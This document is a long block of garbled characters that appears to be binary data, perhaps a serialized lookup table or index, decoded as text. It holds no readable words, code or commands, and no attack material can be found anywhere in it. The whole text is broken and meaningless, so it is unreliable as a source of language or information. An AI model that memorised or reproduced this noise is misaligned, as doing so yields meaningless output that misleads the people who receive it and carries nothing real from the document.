k!#"kk%,&('BB)*kB+B-1B./0BkB24B3B5hyhyB7nB89@B:B;<BB=B>B?BBABVCMDHEGBFB5,5IKBJBL7B,NROP,QhyBSThykhyUBWcX^Y\Z[BBhyhy]Bhy_ahy`hyBBbBhydieghyfhyBhyhhyjlhykkm7oBBpqBr,B,tBuvBwxByz{|}5B~55B555B5B5BB55B5B55B55B555B55B5B555BBBBB,,,BkBkkBBBB7B7B7BBB5B5BBBBBBBBBB,BBkkkBkBkkkkkkBkkkkkBkkkBkkkk BBBBhyhy6BBBB  B B BB7B77B7BB77BB 7"p#l$TB%B&'B(<)1*.+-k,5hy5hy/0B28354k67Bhy59:;B5=I>C?A@BB5BhyDGEF5BkHBkJNKMBL5BhyORPQ5B7kSBU\BVBWBXYBBZ[BB/]B^g_BB`adbBcBB5eBfBB7BhBijBkBBBmnBoBBqrBstuzvBwBxBByBB{B|}BB~BBBBBBBBBBs BBs s BBs BBBs s Bs Bs s BBBs s Bs s s Bs BBBBBBBBB77BBBBBBBBBBBBBBBBBBB,,,,,BBBBBBB7BBBBBBhyBBpa. B 7B7   B7B77B777B7B777B7B7B+$! B7B7"#B7B%(&'7B7B)7B*B77,-7B7B/0M1<2735B4BB6B8:9BB;B=D>A?@BBBCBBEIFHGBBBJLKBBBNXOUPSQBRBTBVWBY]BZ[\BB^_`BBbcBdBeyfqgmhjiBkBlBnopBBrustBBvxwBBz{|~}BBBBBBBBBBBBB7BBBBBBBBB7BBBBBBBB5BBBBBBBBBBBB,,,,,,zB,B,,B,,,BB,,B,,B,B,B,B,,B,,B,,,B,B,,BB,,,BB,BBBBBBaBBBBBBBBB    B5B B5B,5BCB( 5B5B555B55B!%"$#55BB55&'55B)8*0+.,5-5B55/B51325B54655B5755B9@:=;<75B5>?B55B5A5BB5DBEZFPGKHJIBBBLMBNOBBQTRSBUWVBXBYB[e\`]^BB_BacbBdBfkgihBjBlnmBBoBqrstu{BvwBxBByBzB7|,},~,,,7BBBBBBBBBB7BB,,,,,,,,BBBBBB5BBBBB,BBBBBBBBBBBBBkBkkBkBBkBBkBkBkBkkBBBBBkBBBBBBBBBBBBBBBB7BBBBBBB7}#5  B   BBBBB BBB!B"B$Q%7&1',(*)B+B-/.B0BB235B4B6B8F9>:<;B=B?B@ABBCDBEBBGJHIBKOLMBNBPBReS\TZUXVWkBkBYBBkk[Bk]`k^k_Bkackbk/dBBkfpglhjkiBkkkBkmknoBBkqwrtskBkuvBkBkx{yzkBBk|BkB~BkBkBkBkkkkkkkBkBkkBkkBk777BBBBhyB77hyhyBBB77B77hyBBBkBkkBBkBkhyBhyBBhy5BB5BBBBB757BB7ʠZhd77777777777777777,S     73?=<9ddddd) $!"#%'&(*+7,-./0123456çç89:;<ç<>B@A<B{CDEzFbGʠHʠIQʠJʠKLʠʠMNʠOʠʠPMʠR[SʠʠTUʠVʠʠWʠXʠYʠZMʠ\ʠ]ʠʠ^_ʠ`ʠaʠʠMcoddeddfgdhddidjkddlmddnddpdqrdsdtddudvwdxdyddzd|}~>çd5ddddddç-:-:ddddddddddddddʠg70UJdddddddddddddddd>4799333333333333333$     -5 !"#%&>'>(>)*>+>>,>->./>>0>1>2>3@{>56789:;<=?]@dA<7BCLDIEFGHq`J7KMO<NLPQ\RSTUVWXYZ[^_7`apbicdegf v*zhl$jlk mnoqurstl$vw|xzyl${v}~~hJg͹ NW~7;FF9*gE%s s FQFQFQ+YTaL*     FQ  !"#$B&'(4)*/+,-./0123z5>6789:<;L*=L*?@ABCD7F_GH,IJYKPL,,M,N,O,Q,RVS,T,,U ,W,X,,/,Z,[,\,]^5,5`axbcmdefghijklnopsqrztwuvEyz{|},#Ԧ%%%d%;%/>%++d+%%ʠ7zSyzSyzzzZ877J7gJ:%mV,gmVg,mV#mVY(kkkkkkkkkkkkkkkkkkkkkkkkkkkkkk7kkkkkkk/k     kkkkkkkkkkk/k kkkkkk!$k"k#k%&kk'/)O*@+;,2k-.0//k/1k/3845/k67//k9k:k/kk<k=>kk?kAFkBkCkDkEkGJHkkIkkKLkMNk/kkPQkRVkSTkUkkkWkXk/Z[m\g]bk^k_k`akkckkdekfkkhkkijkkkklknop}qyrvsktukkkwxkkzk{kk|kk~kkkkkkkkkkkkkkkkkkkkkkkkkkkk/kkk/kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk/kkk//kkkk7DTdTrrddTTdJ J   7 77777BBBBBBBB,,,, ,!,",#,$,,&Q'H(/)*+,-.+0812354H67H9:;B<?=>ʠZWʠ@Aʠ׆ʠCFDEʠZ׳ZGZIKJʠ7LMzNPO/RgSJTUVJXYrZa[<\^]7_`J;/<bc<<de<<f<g<hi<j<<k<lm<<no<p<<q<stuzvw˭xy{|ʠ}~BBBBs BBBBs BBBBs BBBBBs BBBBs BBBBBBBBBBs BBBBBs BBBBBs BBs BBs Bs BBBs BBs BBBBBs BBBBBBBBBs BBBBBs BBBBBs BBBBs BBs BBBs BBBBBBBBBBBB  B B  BBBBBBBBBBBs Bz '!BB"B#$B%BB&B(U),*>+4,.-B/201BB3B5867B9;:B<=BB?J@FADBBBCBEBBGIHBBKNLMBOQBPBRTSBBVqWcX\Y[ZBB]_^BB`baBBBdkehfgBBijBBlnmBoBpBrBswBtuvs Bs BxBByB{|}B~BBBBBBBBs Bs BB5B555B55B5555B5B5BBBs BBBs BBBBBBs BBBBs BBBBs BBBBs BBBs Bd;<J77+-E k@,s ,     '7B5k7BB!B B75"%#$,BB5&B(4).*+B,-hyk/10BB23Bhy5:68779B;><=BB?BA[BRCDKEFGHIJ,LMNOPQSTUVWX5YZ5\]^d_`abc5efghijlmnvopqrstu/wxyz{|}~B7,7B,5555555555555555555555555<<<<<<<<<<<<<<<<d<7RRd7MR<ԦB7  F 4 77gJ&4n<;M #!"R$%'-(*R)Sе+,;7(<<.1/0<dNR2395C6@7:89d;?<=99>S9ABCDmETFGNHIJKLMFOPQRFFSFU_VWXYZ[\]^L`gabcdefFhijklFnyopqrsvtuFwxFz{|}~FFFʠdddddddddRdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d d d d d6d( dddd!d"'#%$d&ddd).*d+d,d-d/d05132d4ddd7@89dd:;d<d=d>dd?dABddDFGHIJlKkLVMQNOǞdPJJR#STUÙJJWXYZ[\]^_c`ab3Ddhefg,ij#mrndo7pqؗsdtyuvwx$3*Jz{~|}mm0NNs0AԦuJZ8q%IIIIIIIIIIIQIILW(I   I  IW !"#$UU&B'()*+:,-4.2/10v(F0UL30UF5867FFF:9:;<=>?@ALCNDEFGHILJK(VVLM`:WO[PQnIRSTUVWXYZI\^]nn_h`nabcdefgLijklmnopUU:rNstuvwnxnyz{|}~InI:VInInnIUUtPInIIInB W   L #UUUU !"I$/%)&'(I*+,-.0612345`7=89:;<I>?@AFCDIEFGHIJKLMIIOPpQR]STUYVWXtWZ[\F^_`lagbc:defUUhkijW:Wm(notLqurstFFvwLxyz{|}~tW0UFFg<Z8Q7J9gJd<J;;/S;g-vm3R;;<dd /(%oddddoddoddS ddSdddSoSdSdoddddodddododddoddoddodSSd d   ]<(d%dSd%d%"od !SRO#%$SROd&'dd)6*0+.,-%dS/o%S1423o5ddS798SS:dS;Sd=F>Bd?d@AoCdDdEdodGPHJdISdKNLM%dOSQWRUSTd%d%VodX[YZSRO\SROd^z_s`nahbecdddfg%ddSikjo%SlmoodprqddSddtudvxwoydodd{d|d}d~dSdddddSddSdddddddSddddddddddddSddSSdSd77ʠd7ddddddddddddddddddddddd7<d79D1d'     FQ !"#$%&isZ8g)>7*+Z8,/-,.01523,,4,6:78,9,,;,<=,,?@AqBZ8CDME77FG7H77IJ7K7L777NOmPaQYR77ST77UV7W7X777Z7[\77]7^_77`7bg7c7de77f7h77i7j7k7lB7n77o7p7dr7stuvwx+y+z+{+|}+~+++ʠJ7dddddd J+-z#dJdJQ7************************.G.G.G.G.G.G.G.G.G.G.G.G.G.G.G.G.G.G.G.G.G<<<<<<<<<<<<<<2<<<<<<<<<<2      B*!"#$%&'()*+,-.0r1>243d5=6:<77897;<dJd9?k@ZAFBCʠ*DEGIH3JBK*LSMPTNdOdTQ9RTU7VXW7Y77[9\]7^_`abcdefghijl<7mnpo71Zxq7s tuv|wyxJz{*}d~ʠddd%dFUUF0UUU7J;;;;;;;;;IL;;;;;;;IL;;;;;IL;;;;;;;;;;IL;7;;9ʠdggJd   d77dZdU76%hyhyhyhyhyhyhy hy!hyhy"#hyhy$hyhy&'1hy().hy*hy+,hyhy-hyhy/hy0hy72hyhy34hyhy5hyB8T9E:?;><=77*@ABCDuwFNGHgdIKJ+-LMv*UOP,+-QbRS77VXWZ8Y[[0U\]c^J_7`a7b77d*eJfugjh7iqRMkqlqmqnqqoqpqqrqqsqtdqv|wzxyv4V_9{RRo}~GUcqq9kGGGGGGGoa(      !"#$%&'d)^*6+,-./012345789J:;@<=?>ABCDGEFHIKLYMPNOaQTRSaUWaVaXaZ[\]a_`abcdefghijlomn<ʠpʯrstuJvwxy|z{ԙS)}~uNbF0U)Qd;Iʠ7+RR7d9<ʠJBdWJ7757777B77777775777777777FQ77FQ7777777777777isMʠ(KFFFFFFF" @@@ @   @ !ӊ#$1%&'()*+,-./02>3456789:;<={?@ABCDEFGHIKVLSMPNOdQRd/ՒTUJ.GXYZ[\]d;^J_k`a4bcdefghijlmwnopqrstuvxyz{|}~RRRRR-7777777777؉7777,S777777BՒz99999qJе;57ddd7-8-z͹777JRçodRN3*     h#vd<7Nb7;+NJJd7>-g'" !#JZ8#&$ʠW.%W.9(+)*5,JZ87.=/:081;2;34;;567;'|;97;<ʠ?Y@GABJCED3F7HXdIdJKdLdMdNddOdPQddRSddTUddVWddd],7Z[77\]77^_7`7a7b77cde7ghijklTmnopqrstuvwxyz{|}~6iç>>>>7Ȟ>>@=  b b bRb lyO"815Ǟ5 0!&"#$%ç'()*+,-./123456789:;<>[?L@ABCHDFE~GÙIKJ~MNOP>Q>R>>ST>U>V>>WX>Y>>Z>- \]^d_@k@k`@kabcL@k@k\e@kf@k@kg@kh@k\jkzlmnopqrstuvwxyç{|}~`ȐȐȂȐrk[YYYk{5     Ǟ-  !h"8#$,%&'()*+D-./012345679[:;<Q=>F?@ABCDEGHILJKMNOPRSTUVWXYZ\]^_`abcdefgXijkulmnopqrstȂv{wxyz`|}~Ȑ: z O ' -5 !"#$%&(<)*2+,-./01-354=678;=9=:===G>?@ABCDEF`HIJKLMN7PUQRSTDV`WXYZ[\]^_aqbicdefgh5jklmnopȂrstuvwxyȐ{|}~ççpOçȐiȺȐD ɸ 5  -  TT!"'#$%&k[()*+,./01234`6G78<9:;ç=>@?`ABCDFEHILJKk[MNP`QWRSTUV6DXYZ][\Ǭ7^_Ȟ`ȐȬajbfcdeghi5çklmnocɊDNqrstuvwxyz{|}~ȐȐȐȐ55:Tçççç5    55 555-655 !"*#$%&'()ç+,-./0123456789@;<O=>?@ABCDENFGHIJKLMǬ7PQRxS^T[UV:WYX9ZA\]A_d`cabA9ekKfghijqklmnoplrstuvwlyz{|}~7n5559{6D:_:|>k@/rBa:iTçç-5Ȑш8">%%%, >Ȑ:::::::ç:-  'n q`H H>>>>>>>>>- >>>- >" !r#($%&'r)*+r-8./01423576<`9:;<=>k[@CAB%C!DE_F$GHI,JKLtM\NUOTPQRSɩ>VWXYZ[Ǟç]s^_f`abdc7e7ghijklmnopqr7>uvwxyz}{|>~>>>>796T8@96T8@96T8@96T8@96T8@96T8@96T8@96T8@#çç6DMTɚ@@-çɚ`Ǟ   ȐȬȬn  Mr`5ç=5DȺ! ç5"Ǟ$%*&(',>)>+>-|.k/O0K1I2G3<475689:;=A>?@BCEDFHJQLMNPQSR>TbU>VWXYZ[\]^_`aɚcdefghijçlrmnopq>stuvwxzy{}~H>>d>6T6T6T{R>- - - >ȬçȬ`-5çǞȐ5Ȑ`506>>@{- >>>BS- >-  - >  >>  >>>>- >>>>>>- />- - %- - - -  - !- - "#- - $>- - &'- (- - )- *+- - ,- -- .- >03- 1- 2- >>4>- 6;789:I<B=>?@7A7CPDEFGLHJIKMNO-QR>STUZVXWY[]\^_abcdpelfghi>jkçmnoq|r{stw5uvM5xy5z55>}~>5>>z)F**4zzzzzzzzzzzzz-z>>>çJ3$     7 `!>"#>%&'()>*.+,Ⱥ-ç/0712456C7=89:;<>>?@ABçDEFGHI77KrLaM]NUOPQRST`VW>X>YZ[\>^_`\bfcde>ghoi>>jk>l>m>n>>- pq>stuvwxyz{|}~kkkkkǬǬ9BaȺ/kK:_=7]k[:96%Ǭç>- Q>>>>>>>>>>>>@>   >  >>rX4 !",#($&%-'Ȑ)*+-`ç`-0./-12356E789>:;<=?B@ACDFGLHIJKȐMTNQOPRSUVWYZ>[\o]^_g`abcdefhijklmnpqstzuvwxyr5{>|}>~>>>>>>>>>- >- >>>5ǞMMMMMMMMMMMMM:O6D6D:o6D6DM6D:O6D:O:O- H   ç  Ȑ[>rY5' !"#$%&()*+,-./012346B789:;<=>?@ACLDEFGHIJKMNOPXQRSUTVWZ>>\]w^l_`abcdefghijkmpno>qurstIv>xyz{|}~>>>- >>>- ->>k[k[k[>-çç>*>- - - - - >>- - - - - - - - - - - - - - - >>- >- - - - - - - - - - - - - - - >>- >- - >>- - >>- Ǟ---ççç-Ȑ`ȐȬǞȐ  9   ȂȐȐ> '!$"#%&()+,O-N.H/0>16243>5@k78:9>;<=Ȭ`Ȑ?E@BA>CD>FG>IJKLMǞ>PpQhRSTUVW^XYZ[\]_`abcdefgirj99kl99m9n9ok9qwrust>v>xyz{|}~BC>bCCbbCCCCCC;     ! {"#C%&/'(A)*+,>-./0Ȑ182534Ȑ567--9;:5<=-?@>BCDHEFG>IJiK^LP7MN7O57Q\7RS77TU7V7W7X7Y7Z7[777]7}_f`cab7 7de777gh7Bj|ks7lmpno755qr7557twuv77x{yz7577}~5B77hy7hy77hy77hy77 hy7Q>``Ȟ```>6Deee>O@ADAM@>- !"#$%&'()*+,-.0<123456789:;r=o>R?I@AEBCȐDɚ`FHGçȂJNKLM>>OPQ>STdU>V>>W>X>Y>Z>[\>]>>^_>`>a>>bc>>efgrhlijkmnrpqxrust>vw>yz{|}~>>>N>>>-zJ<J>>/>h>6)   >  >>&#ȐȐȐȐȐ! "$%>'(>*+,3-7.7/7017727456:789>>z;<=>?@A"BCwDmE\FPGHIJKLMNOçQRSTUVWXYZ[]i^_`abcdfegh9jkl:nopqrstuvxyz{|}~597]rrç7]Ȑ:rrç    >  !#P$%?&='3()*+,-./012Ȑ456789:;<ɩ>k{@OABCED:FGHIJKLMN-QRhS]TUVWXYZ[\^_`abcdefgijklwmnopqtrs-uv5xyz{|}~-çr6T7]ç:-9ç     9`X< )!"#$%&'(*3+,2-./01rr456789:;`=M>?@ABHCDEFG`IJKL7]NO:PQWRSTUV`çYZ[^\]_`abcdefgçijk>lmnopzqtrsg>uvxwǞy>o{|}~55oooooooooooooo>z>>>--Ǟ55<<><ç>5>o>!<>N7D>>>>>>>>>>>{>>>>>>ç-55555555555"5Ǟ>>T]]@     >>)'#--! ``"`$%&`(>*2+,-/.01ç>3456k7R8Ȑ9D:@;><=ȂȞȐ`?Ȑ`A`BC`ȞȐEJFIGH7ɸ`ȐȐ`KNLM7``OPǞȐ`QȐSTbU[VYWX`Z``Ȑ\_]^7Ȑ``aȐ`Ȑcgde7`f`:`hȐij`Ȑlmnyovptqr``s`ȐuȞ`w`x`z{~|}ǞȐ`Ȑ7Ȑ`Ȑ`ȐȐ`Ȑ`Ȑ`Ȑ``Ȑ``:Ȑ`ȂǞǬȞ7ɸȬ``ɸ``Ȑ`ȐǞȐ``ȐȐȐ`ȐȐȐ7Ȑ`Ȑ`ȬȐ`Ȑ7ȐȞȬȐ7```Ȑ`ȐȐȐ`ȐȐ```ȐȐȐȐ7ȐȐ7`ȐȐ```Ȑ`ȐȐȐȐȐ`ȐȐ``Ȑ`Ȑ   `Ȑ` ` `Ȑ5ǞȐȐ``Ȑ6* $!Ȑ"#`%`&'()`+3,/-.Ȑ`01`Ȑ2Ȑ4Ȑ5Ȑ7>89:;<=?K@FABDCȐȂEGHIJLPMNOȐQRSȐU~V}W^7XY77Z[7\77]7_t`ga77b7cd77ef77h7i7j77k7lm7n7o77pq77r7s7u77vwzx7y77{7|77>>>>>>- >>>>>>>>>>>>>>>>7;bQd>>Ȭ`->>,`E:rrçç55ǞcǞ``ȬȬȐȐTT     T7ȺǞǞçǞȐ -!'"$#ȐǞ%&ǞçȐ(*)7l+,Ȑ.5/201Ǟ-r34-687Ȭ9`;C<=7>?@ABD>FYGWHI>JKLMNOPQRSTUV5X>Z[\]^>`aLbcdeǞfghixjklmnopqrstuvw7yz{|}~nCCCCCCCCCCCC9çȬ`ǬVLW-Ǟ1111111111111>>><)>>- >- >>f>7>>>>>> >> >  > >>>- >- >>>>>>>>- >- $!>> - - "#>- >- >%>&'>>(- >*+,-./0123456789:;=>>?@hABPCKDHEGBCFBCBCIBCJ BCLBCBCMNOBCBCQ`RWBCSTUBCVBCX[BCYBCZBC\^])BC_BC9BCaBCbeBCcdBCBCfBCgBCijklmnopqxrstuvwyz{|}~79ǬǬǬ- BS- >-k@{- >>-yT-----Tc# -TTTTrrrrrrrrr999999999 9   Tç !"ç$%1&'()*+,-./0:2345678;9:Ȃ`Ȟ<=Ȭ`?@ABKCDEFGI>H>J>MhNYOPQRST@UVWX5Zg[\]^e_`abcd5f>>i*j klrmnqop>>stuvw~x{yz|}ȐA\ȐȐȐF0UFF5    1111$>Ǟ# !">%'&()>+x,X-=.5/012346T678<9:;6T6T>?L@ABCDEFGHIJK65lMNOPQRSTUVWrYgZ[\]^_`abcdefhijklmnopqrstuvwyz{|}~ȬȬ3555ȬȬȬ%      ]!"#$&'()*+,-./01254g5J6?789:;<=>Y@AFBCDEk{GHIYKTLMNOPQRSUYVWXk{Z[\]^_`awbcmdjegfhiklnsoqprtuvxyz}{|~e     :& #!"$%'4(.),*+-/20137]567989;R<E=B>@?ACDFKGHIJLNMOQPS^TZUXVWY[\]_b`acdfgwhnijkmlospqrtuvxyz}{|~B:r:O:Or     )" !#$%'&r(*8+4,/-.01325679:=;<>@?ACLDEFGHIJKMNYOSPQRTUVWXZ_[\]^`abecdfhijklm{nzotpqȬȐrȬ7sjȬuvȞȬwxȞNyȬI5 >b|}~::::@kkKXl9=8ççççççççTçǞ+ȐȬ`rǞ     ç" !5#5$%55&5'5()55*5ç,-./0-1234567-9:;<Ǟ>Y?G@ABCDEFkKHIJKLMNOPQRSTUVWXȬZd[\]^_`abcXefvghijklmnopqrstucGwxyzh{|}~ǬǞǞǞȐD5>>ͻpù,99->>grrrD'      !"%#$&(7)1*.+,-/0234568?9<:;=>@CABEWFGNHIKJLMORPQSTUVXY^Z[\]_c`ab6Tdefrhijkylpmnoqvrtsuwxz{~|}r9vrrrr6D     S2)$" !#%&'(*+.,-/013F4?5:6789;=<>@CABDEGJHIKNLMOQPRȺTiUZVWXY[c\_]^`abdegfhjkrlomnrpqstuwx¬y…z{‚|}~€ƒ„†˜‡‘ˆ‰ŽŠŒ‹’•“”–—™¨š ›žœŸ6D¡¤¢£¥¦§çr©ª«­®·¯´°±³²µ¶¸¼¹º»½¾¿:_$   ç  çQQQQQQQThQ jx9=><r6%:!"#%&*')(>>+>-Ò.4/0132>56Ï7Â8R9?:;<>=r@IAD5B-C-5EFȺGH-55JNKLMDDOPQ5SjT`U[VXȂW`YZ`\]`^_rȬǞagbdcȬefnhǞinǞrktlpmonDǞcqrscu{vxwrryzǞ|}~5-ÀÁnȬÃÅÄ>ÆÊÇÈÉ`ËÌÍÎ7>ÐÑ'ÓÔÕÖ×ØÙÚîÛÜåÝÞßàáâãäæçèéêëìíïðñòóôõö÷øú7û~üdýþÿ>>>>>>>>>>>>>>>>>>3>7>>>>>8  Ȑ   nȐ)#r !"$%&'(*+0,-./M1253467Ba9Z:;<N=C>?@ABDIEFGHMJKLMOPUQRSTBaVWXYr[\]ȐȐ^Ȑ_Ȑ`aȐbȐȐcȐnetfglhijk>mn>opqrsuvw>x>>yz>{>|}>>!ĀēāĂą- ă- Ą- Ć- - ć- ĈĉĊċČčďĎ-ç--Đ-đ-Ē-5ĔĕĖĘėȐ`ęĚěĹĜįĝĦĞğĠġĢģĤĥħĨĩĪīĬĭĮİıIJijĴĵĶķĸĺĻļĽľĿ     > >>"6#$%+&'()*>,-2./013<45>>8Ŗ9e:R;Q<=>?@ABCDEKFGHIJLMNOP>>ST_U]VXW>YZ[\^>`cab>>d>fg{hijwkplmnoççqtrs5uvȬx@kyz@k|Ň}~ņŀŃŁłńŅIňʼnŊŋŌōŎŏŐőŒœŔŕŗŤŘřŚ>śŜŝŞšş5Š5Ţţ@-ťŷŦŧŨBũŪūŬŭŮůŰűŲųŴŵŶŸŹźŻżŽžſ-Ɩ>>>>>>>>>>>>>- >>>>>>>>>>>>- > >-ȐǬ7Ⱥ    ç>h%<" 5Ǟ!-#$Ȭ&T'7()*+,/-"".""0"1"23"4""56"8N9I:D;B<?=>@@A>C>EFGH>JKLM>OPQRS>UVWcX\YZ[9]^_`ab9defg9ijklmnƂoxptqr`rsruwMvM6Dy}z|{6Dr-~ƀXXƁXƃƌƄƈƅƆƇX`ȐƉƋçƊçX7ƍƒƎƐƏȐƑ`rƓƔƕXXƗƘdzƙƚƛƜƝƩƞƟ>ƠƥơƢƣ:_Ƥ6DƦƧƨ:_ƪƫƬƭƺƮƴƯƲưƱDAD65ƳiƵƸƶƷk{kkȺƹ><BaƻƼƿƽƾkkM7]=O_NMiшççcc7|xǞ;X37:%Y5{çY<)C<>M>>>I>g0606- }hZ )     XA"77!"#$%&'(5*+I,;-4.1/0O@23>\XY58677Z 9:L<C=@>?EU/:OAB7DGEFjHX7JUKRLOMNsnPQ5MSTeVWXYu';[>\]>>^>_>`a>>bc>>d>e>fg>>iwjklmnopqrstuvxy:z:{|:~Ǭǀ>ǁǂǡǃljDŽLJDždžȬ{ɩ-LjȐȺNJǟNjǖnjǍǎǏǐǓǑǒrǔǕBaȂǗǘǬǙǬǚǬǛǬǬǜǝǞ:Ȑ7`ǠDǢǣǤǥǞǦǧǨǩǪǫMǭDzǮǯǰDZ- m- ǴǵǶǷǸǹǺǻǼǽǾǿ7>>>>çȬ%>- >    Ǭ  !"#$&/'()*+,-.ç0R1C23645>7=89>@:;<>7Nɩ>?B@AȞ>>QDEFKGH>I>J=>LOMN5PQSZTUVWXY:[\>>]^f_a``bc:de-gjhiT`klmno-q rstuȒv>w}xy{zB|>~ȁ>Ȁ9>ȂȃȄȅȆȇȈȉȏȊȌȋç5ȍȎ7ɚ-ȺȐȑlȓȔȕȖȗȽȘȲșȧȚȤ>ț>Ȝ>ȝȞ>>ȟ>Ƞȡ>>Ȣȣ>>- ȥȦ>"+>>Ȩȩ>Ȫ>ȫ>Ȭȭ>>Ȯ>ȯ>Ȱȱ>- >ȳȸȴȶȵ>>ȷ>>ȹȻȺ>>>ȼ>Ⱦȿ>>>>>>>>>>>>>>>>- >>>>>>>>>>>>>N*r  >   5L. >!"#$%&'()*+,-7/01:234576d89d;<=>?@ABCDEFGJHI]65]K65MɧNROPQ>SiTUVW_X]Y\Z[>- - >>- - ^>- `d- ab>c>>- ef>- gh>- >- jkɁlym@{n- - op@{@{qr@{s@{t@{u@{v@{@{wx@{N@{z~{- - |>}- >- ɀ- >- ɂɤɃɅɄ@{>@{Ɇɇ@{- Ɉɉ- >>Ɋɋ>Ɍɓ>ɍ>Ɏ>ɏ>ɐɑ>ɒ>N>ɔɚ>ɕɖ>ɗ>ɘ>>əN>ɛ>ɜɠ>ɝ>ɞɟ>N>ɡ>ɢ>>ɣ>Nɥ>ɦ- >ɨɩɬɪɫ>ɭɸɮɰɯ>ɱɲ>ɳɶɴɵɷ>>ɹɺɻɼɽɿȐɾȐ``7@ǞȐ/ǞǬȞ`ȬȬnȬɩçT77R9>>>-llllllllȐ-   --  7->?>>(& !>"#$r%ɚ'>),*+>>-./0129345678:;<=>D@ABC>DEFGHIJKLMNOPQSʵTʉUVsWlXfYZa[^\]Y_`Ybcedrrghijkmnopqrçtʂu|vwyx>z{>}~ʀʁ>ʃʄʅʆʇʈ>ʊʤʋʔʌʍʎʏʐʑ>ʒʓʕʖʗʦʧ>>ʨʩ>>ʪ>ʫʬ>>ʭʮ>ʯ>ʰ>>ʱ>ʲ>ʳʴ>>ʶʷʸʹʺʿʻʼ>ʽʾi>ɚǬ7T7>`ɚ`>FF>>>>    rȐ̛ˑa2>$- !#"5-%-&+'(ç)*,T./01çT345O6A7;89:çȬ<>=r?@5`BICFDEȐȺGH-ɚJLK7ȐMNrl5PZQVRTSUDWXYTǞr[\_]^rȺɩn5`5Ǟb˅c{duefghijklmtnoprqsvwxyz|}~`ˀˁ˂˃˄ˆˉˇˈ>ˊ>ˋ>ˌˍˏˎ>- >ː>>- ˒˓˔˕ˤ˖˗˘˙˚˛˜˝˞˟ˠˡˢˣ˥>˦˧˱˨˭˩˫˪:ˬ:ˮ˯:˰::˲˳:˴::˵:˶˷˸˹˼:˺:˻:r˽:˾˿rr:::r:r:r:rr:::r::::::r:::rr:Ȭ>b>>>>>>55`>     Y>>G>>6 !0"/#($%&'-)*-+@k,@k\.>@Q12>345789:;<=>?@ABCDEFHgIJK`LZMNOPQRSTUVWXY[\]^7_7abcdef7]h~ijkolmn>pq>rstuvwxyz{|}7̀>́̂̏̃̇̄- ̅̆- ̈̉̌̊- ̋- - - ̍̎- ̐̔̑̒̓- ̖̙̗̕̚- ̘- - - ̜ ̡̝̞̟̠̿>̢̨̧̣̯̤̫̥̦Ȑ̩̪Ȑ̬̭̮7̷̴̰̱̲̳ç̵̶Ȑ̸̻̹̺Ȑ̼̽̾c>>>@5C>B>bȬȬ`ȐȬȬ-Ȭ>Ȃ>>- - - - - -  , )  >>>>% !"#$&('ç>*ͣ+r,<-./@-0612534d7899:;7=]>?@ABSCDEFGHOILJKMNPQRTUrVWrrXYrZr[rr\r^f_`@kabdc@ke@k@kghiojlk:mn::pq:s͛t͍uvwxyz{|ͅ}́~͇͈͉͎̀͂̓̈́͆͊͋͌͏͓͔͕͖͙͚͐͑͒͗͘͜͟͢͝͞͠͡Xͤͱͥͩͦͧͨ>ͪͫͬͭͮͯͰͲ͵ͳʹ>Ͷͷ͸͹ͺz>ͼλͽ΂;?ͿȐ%ç5     ɩç !"#$ç&.'(+)*>,>->/0:172d3d4d565>89>;=<>>>@VABCDEMFGHIJKLç5çNTO>PQRS@U>W\XYZ[>]g^_`eabcd-f>hyijklmnopqrstuvwxz{|}~d΀΁ddR΃ά΄Θ΅Ά>·ΈΉΊ΋ΓΌΏ΍ΎMrΐΑ:O6DΒ:oΔΕΖΗ7]ΙΚΛΜΝΞΟΠΡ΢ΣΤΥΦΧΨΩΪΫέήίΰαβγδιεζηθκ6μ+νlξο9999999999999999999999999999999999999999999999999999999:  )   TçTç !"#$%&'(-T*+,-./0123456789;<=M>?K@ABGCED>FHIJ>zL>NeOP\QTR-S-UWV-XYȬZ[ɚȬ]a^_`rnDbcdDfgBqh>ijk>mnϯoϝpqrρstuvwxyz{|}~πςσϐτυφχψωϊϋόύώϏϑϒϓϔϕϖϗϘϙϚϛϜϞϟϠϡϢϣϤϥϦϧϨϩϪϫϬϭϮϰϱϲϳϴϵ϶ϷϸϹϺϻϼϽϾϿ      !"#$%&'()*,ԣ-.Ѧ/10>23C456789:;<=>?@ABDEѠFGyHOIJKLMNP^QXRSTUVWȬYZ[\]Ȑ_w`oahbcdefg]ijklmn]pqrstuv]xz{~|}ȬȐгЀПЁВЂЊЃІ`Є`ЅȐЇȂЈЉnȬ]ЋЎЌЍ]]ЏБАç0FȐcГИДЖ`Е`З`ЙЛ`К`МОȬНȐ`]РТСȬ`УЪФШХЦ`]`ЧȞ`ЩȐ`ȐЫЯЬЭȬ]ЮȐ]`абв`Ȟ``дежкз`ий]Ȭ]Ȑлпмн]оȬȐȬ7]Ȑ`]`Ȑ;ȬȐȬȐȬ`ȐȐȐȬ]Ȑ`]Ȑ:ȂȐȬ]ȞȐ]]Ȑ`]Ȑ`Ȑ`]]ȐȐ`Ȑ`Ȑ`l`]`]$  ȐȐ  ɸ` ȐȐ`Ȭ`7Ȑ7```ç]`Ȑ]" Ȑ`!`]#:`0F%-&*'(`)`Ȭ+,.4/2017Ȃ3`5867]ȐȐ9]:Ȟ<r=T>I?C@AB7``ȐDGEF:`ȐHǞȐȬJOKMLȬN7ȞPR7Q]Ȑ]S]7UfV_W\XZYȬȬ][nç]Ȭ]^]`cabȐȬȐdeǞ]gmhkij7:lȂnpoȬqǞ]sчtuvywȞxȞz~{|]:Ȭ}`ȬрхсутȞ]фȐ]ц``шєщѐъэыьȐȞюяȐcёђѓȐ`ѕћіљїјȞ`њȬ7Ȑќѝџў7:ç`çѡѢѣѤѥѧѨѫѩѪ>ѬѭѮѰѯ>ѱѾѲѳѴѵѶѷѸѹѺѻѼѽѿ>>>>- 5çҌ>7>`çȂ-  `ç7`ǞǞ  >>  b>Ⱥç@- ]!6"$#>%&'()*+,-1.Ȑ/Ȑ0ȐȐȐ2Ȑ34Ȑ5Ȑ7A8>9>:;><=?@BWCKDFE,@kG@kHIJ@k@kLMPNOQTRS5ç5çUVç5XYZ[\`^_҈`cab>>d҅e~fghijwkqlmnoprstuvxyz{|}Ҁ҃ҁ҂`Ȭ҄D҆;b>҇>҉Ҋ>ҋ>ҍҎүҏҔҐҒґ>ғ- ҕҨҖҗҘҞҙҚҜқçҝȬҟҢҠҡǞңҥҤ`Ҧҧ55ҩҪҫҬ>ҭҮ- ҰҾұҴҲҳYҵҶ- 